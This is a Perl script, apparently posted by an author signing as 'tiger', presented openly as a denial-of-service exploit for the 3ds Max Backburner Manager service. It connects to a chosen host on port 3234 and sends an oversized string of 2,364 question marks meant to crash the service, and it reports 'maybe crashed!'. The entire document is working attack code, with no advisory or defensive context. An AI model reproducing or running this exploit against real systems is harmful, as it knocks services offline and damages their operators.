3Dmax backburner Manager Dos Exploit
|
3Dmax backburner Manager Dos Exploit
作者： tiger
#!C:\bin\perl.exe
use IO::Socket;
my $progname = $0;
$progname =~ s,.'*/,,;
$progname =~ s/\.\w*$//;
$host = shift || 'localhost';
$port = shift || '3234';
$title = " =============================================\n‖ 3Dmax backburner
Manager Dos Exploit 1.0! ‖\n =============================================\n
BY tiger---www.thysea.com\n coolsumer@163.com\n";
$Usage = " Usage: $progname [Host] [port](default is 3234)\n";
if ($host > 0){
dos();
}
else {
usage();
}
sub dos
{
my $socket = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
)
or die "$title ERR-->can't connect to $host:$port! :(\n";
print ($title, " connected to $host:$port\n");
my $r = <$socket>;
return undef if !$r;
chomp($r);
print " Sending string...\n";
print $socket ("?"x(2364),"\r\n") or die "$title ERR-->Sending string
failed! :(\n";
$r = <$socket>;
return undef if !$r;
print " maybe crashed!\n";
$socket->close;
}
sub usage
{
die $title,$Usage;
}
|
